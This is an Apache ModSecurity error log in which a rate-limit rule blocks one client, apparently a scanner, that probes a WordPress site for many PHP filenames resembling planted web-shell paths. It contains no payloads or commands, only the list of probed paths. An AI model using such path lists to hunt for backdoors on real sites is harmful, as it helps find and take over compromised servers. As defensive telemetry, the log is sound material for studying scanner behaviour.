[Sun May 03 08:42:38.189263 2026] [:error] [pid 37246:tid 37272] [client 20.151.130.38:62506] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "afaZ_jhvYFGNwhnPamqBqQAAARY"]
[Sun May 03 08:42:38.663106 2026] [:error] [pid 37130:tid 37217] [client 20.151.130.38:64838] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "afaZ_qIu7bmXKXicRk84yAAAAIQ"]
[Sun May 03 08:42:39.141924 2026] [:error] [pid 37246:tid 37269] [client 20.151.130.38:65526] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "afaZ_zhvYFGNwhnPamqBrwAAARM"]
[Sun May 03 08:42:39.602683 2026] [:error] [pid 37130:tid 37218] [client 20.151.130.38:62516] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "afaZ_6Iu7bmXKXicRk84yQAAAIU"]
[Sun May 03 08:42:53.677853 2026] [:error] [pid 37246:tid 37253] [client 20.151.130.38:60416] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "afaaDThvYFGNwhnPamqB3AAAAQU"]
[Sun May 03 08:42:54.100535 2026] [:error] [pid 40422:tid 40444] [client 20.151.130.38:61890] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "afaaDkHBbBLrXh6PBuuNpwAAAVI"]
[Sun May 03 08:42:54.584995 2026] [:error] [pid 40422:tid 40437] [client 20.151.130.38:65490] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "afaaDkHBbBLrXh6PBuuNqwAAAUs"]
[Sun May 03 08:42:55.022010 2026] [:error] [pid 40386:tid 40404] [client 20.151.130.38:61893] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "afaaD1HJDYRXUf3IbRTieAAAANA"]
[Sun May 03 08:42:55.454977 2026] [:error] [pid 37127:tid 37185] [client 20.151.130.38:62482] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "afaaD_8khJXb5O5aWVXiSAAAAEE"]
[Sun May 03 08:42:55.880786 2026] [:error] [pid 37126:tid 37160] [client 20.151.130.38:61234] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "afaaD_R_A42N-LtDyrvjKwAAAAc"]
[Sun May 03 08:42:56.329500 2026] [:error] [pid 37130:tid 37230] [client 20.151.130.38:65455] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "afaaEKIu7bmXKXicRk844AAAAJE"]
[Sun May 03 08:42:56.759996 2026] [:error] [pid 40456:tid 40478] [client 20.151.130.38:65516] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "afaaEDSujTvwdzEkjSfhdQAAAZQ"]
[Sun May 03 08:42:57.185919 2026] [:error] [pid 40386:tid 40403] [client 20.151.130.38:60447] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "afaaEVHJDYRXUf3IbRTigQAAAM8"]
[Sun May 03 08:42:57.610889 2026] [:error] [pid 40386:tid 40401] [client 20.151.130.38:65419] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "afaaEVHJDYRXUf3IbRTiggAAAM0"]
[Sun May 03 08:42:58.026692 2026] [:error] [pid 37127:tid 37190] [client 20.151.130.38:61267] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "afaaEv8khJXb5O5aWVXiSgAAAEY"]
[Sun May 03 08:42:58.450018 2026] [:error] [pid 37127:tid 37202] [client 20.151.130.38:60514] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "afaaEv8khJXb5O5aWVXiSwAAAFE"]
[Sun May 03 08:42:58.886109 2026] [:error] [pid 37127:tid 37196] [client 20.151.130.38:61258] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "afaaEv8khJXb5O5aWVXiTAAAAEw"]
[Sun May 03 08:42:59.321081 2026] [:error] [pid 37127:tid 37188] [client 20.151.130.38:60421] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "afaaE_8khJXb5O5aWVXiTgAAAEQ"]
[Sun May 03 08:42:59.736958 2026] [:error] [pid 40456:tid 40470] [client 20.151.130.38:61856] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "afaaEzSujTvwdzEkjSfhdgAAAYw"]
[Sun May 03 08:43:00.163764 2026] [:error] [pid 40456:tid 40468] [client 20.151.130.38:61859] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "afaaFDSujTvwdzEkjSfheAAAAYo"]
[Sun May 03 08:43:00.585569 2026] [:error] [pid 40386:tid 40411] [client 20.151.130.38:65509] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afaaFFHJDYRXUf3IbRTiiAAAANc"]
[Sun May 03 08:43:01.006167 2026] [:error] [pid 40456:tid 40469] [client 20.151.130.38:60516] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afaaFTSujTvwdzEkjSfhfAAAAYs"]
[Sun May 03 08:43:01.435425 2026] [:error] [pid 40456:tid 40467] [client 20.151.130.38:61929] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afaaFTSujTvwdzEkjSfhfgAAAYk"]
[Sun May 03 08:43:01.855601 2026] [:error] [pid 37127:tid 37201] [client 20.151.130.38:59866] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afaaFf8khJXb5O5aWVXiUAAAAFA"]
[Sun May 03 08:43:02.280423 2026] [:error] [pid 37127:tid 37189] [client 20.151.130.38:64818] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "afaaFv8khJXb5O5aWVXiUQAAAEU"]
[Sun May 03 08:43:02.720079 2026] [:error] [pid 40386:tid 40406] [client 20.151.130.38:65508] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "afaaFlHJDYRXUf3IbRTijQAAANI"]
[Sun May 03 08:43:03.171024 2026] [:error] [pid 37246:tid 37250] [client 20.151.130.38:65484] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "afaaFzhvYFGNwhnPamqB3gAAAQI"]
[Sun May 03 08:43:03.603622 2026] [:error] [pid 37246:tid 37266] [client 20.151.130.38:64889] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "afaaFzhvYFGNwhnPamqB4QAAARA"]
[Sun May 03 08:43:04.049125 2026] [:error] [pid 37127:tid 37203] [client 20.151.130.38:65441] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afaaGP8khJXb5O5aWVXiVAAAAFI"]
[Sun May 03 08:43:04.469623 2026] [:error] [pid 40386:tid 40398] [client 20.151.130.38:65429] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afaaGFHJDYRXUf3IbRTikQAAAMo"]
[Sun May 03 08:43:04.887352 2026] [:error] [pid 37246:tid 37252] [client 20.151.130.38:61271] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afaaGDhvYFGNwhnPamqB4wAAAQQ"]
[Sun May 03 08:43:05.325006 2026] [:error] [pid 40386:tid 40400] [client 20.151.130.38:62501] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afaaGVHJDYRXUf3IbRTilQAAAMw"]
[Sun May 03 08:43:05.796207 2026] [:error] [pid 37130:tid 37218] [client 20.151.130.38:61922] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "afaaGaIu7bmXKXicRk847AAAAIU"]
[Sun May 03 08:43:06.215638 2026] [:error] [pid 40422:tid 40442] [client 20.151.130.38:65438] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "afaaGkHBbBLrXh6PBuuNsQAAAVA"]
[Sun May 03 08:43:06.637680 2026] [:error] [pid 40422:tid 40429] [client 20.151.130.38:65421] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "afaaGkHBbBLrXh6PBuuNsgAAAUM"]
[Sun May 03 08:43:07.056380 2026] [:error] [pid 37126:tid 37176] [client 20.151.130.38:61927] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "afaaG_R_A42N-LtDyrvjPAAAABc"]
[Sun May 03 08:43:07.475125 2026] [:error] [pid 40386:tid 40411] [client 20.151.130.38:64867] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "afaaG1HJDYRXUf3IbRTilwAAANc"]
[Sun May 03 08:43:07.891591 2026] [:error] [pid 40422:tid 40440] [client 20.151.130.38:65515] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "afaaG0HBbBLrXh6PBuuNtwAAAU4"]
[Sun May 03 08:43:08.310687 2026] [:error] [pid 37127:tid 37189] [client 20.151.130.38:62469] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "afaaHP8khJXb5O5aWVXiXgAAAEU"]
[Sun May 03 08:43:08.724693 2026] [:error] [pid 40456:tid 40480] [client 20.151.130.38:65449] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "afaaHDSujTvwdzEkjSfhhAAAAZY"]
[Sun May 03 08:43:09.143449 2026] [:error] [pid 37126:tid 37152] [client 20.151.130.38:61906] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "afaaHfR_A42N-LtDyrvjPwAAAAE"]
[Sun May 03 08:43:09.563556 2026] [:error] [pid 37127:tid 37195] [client 20.151.130.38:61829] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "afaaHf8khJXb5O5aWVXiYQAAAEs"]
[Sun May 03 08:43:09.991013 2026] [:error] [pid 37127:tid 37186] [client 20.151.130.38:61839] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "afaaHf8khJXb5O5aWVXiYwAAAEI"]
[Sun May 03 08:43:10.405521 2026] [:error] [pid 40386:tid 40396] [client 20.151.130.38:61937] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "afaaHlHJDYRXUf3IbRTimgAAAMg"]
[Sun May 03 08:43:10.817198 2026] [:error] [pid 40422:tid 40438] [client 20.151.130.38:61202] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afaaHkHBbBLrXh6PBuuNugAAAUw"]
[Sun May 03 08:43:11.245629 2026] [:error] [pid 40422:tid 40448] [client 20.151.130.38:61266] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afaaH0HBbBLrXh6PBuuNvAAAAVY"]
[Sun May 03 08:43:11.659366 2026] [:error] [pid 40422:tid 40439] [client 20.151.130.38:62539] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afaaH0HBbBLrXh6PBuuNvwAAAU0"]
[Sun May 03 08:43:12.071803 2026] [:error] [pid 40422:tid 40445] [client 20.151.130.38:61834] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afaaIEHBbBLrXh6PBuuNwgAAAVM"]
[Sun May 03 08:43:12.485292 2026] [:error] [pid 40422:tid 40447] [client 20.151.130.38:64815] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afaaIEHBbBLrXh6PBuuNxQAAAVU"]
[Sun May 03 08:43:12.931855 2026] [:error] [pid 37246:tid 37268] [client 20.151.130.38:65498] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afaaIDhvYFGNwhnPamqB6AAAARI"]
[Sun May 03 08:43:13.347434 2026] [:error] [pid 37246:tid 37263] [client 20.151.130.38:61210] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afaaIThvYFGNwhnPamqB6gAAAQ0"]
[Sun May 03 08:43:13.764771 2026] [:error] [pid 37246:tid 37254] [client 20.151.130.38:64819] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afaaIThvYFGNwhnPamqB7QAAAQY"]
[Sun May 03 08:43:14.185807 2026] [:error] [pid 37127:tid 37200] [client 20.151.130.38:61902] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "afaaIv8khJXb5O5aWVXiZQAAAE8"]
[Sun May 03 08:43:14.600695 2026] [:error] [pid 40422:tid 40445] [client 20.151.130.38:60530] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "afaaIkHBbBLrXh6PBuuNzQAAAVM"]
[Sun May 03 08:43:15.018295 2026] [:error] [pid 40422:tid 40450] [client 20.151.130.38:61204] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "afaaI0HBbBLrXh6PBuuN0QAAAVg"]
[Sun May 03 08:43:15.437385 2026] [:error] [pid 40422:tid 40447] [client 20.151.130.38:61262] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "afaaI0HBbBLrXh6PBuuN1AAAAVU"]
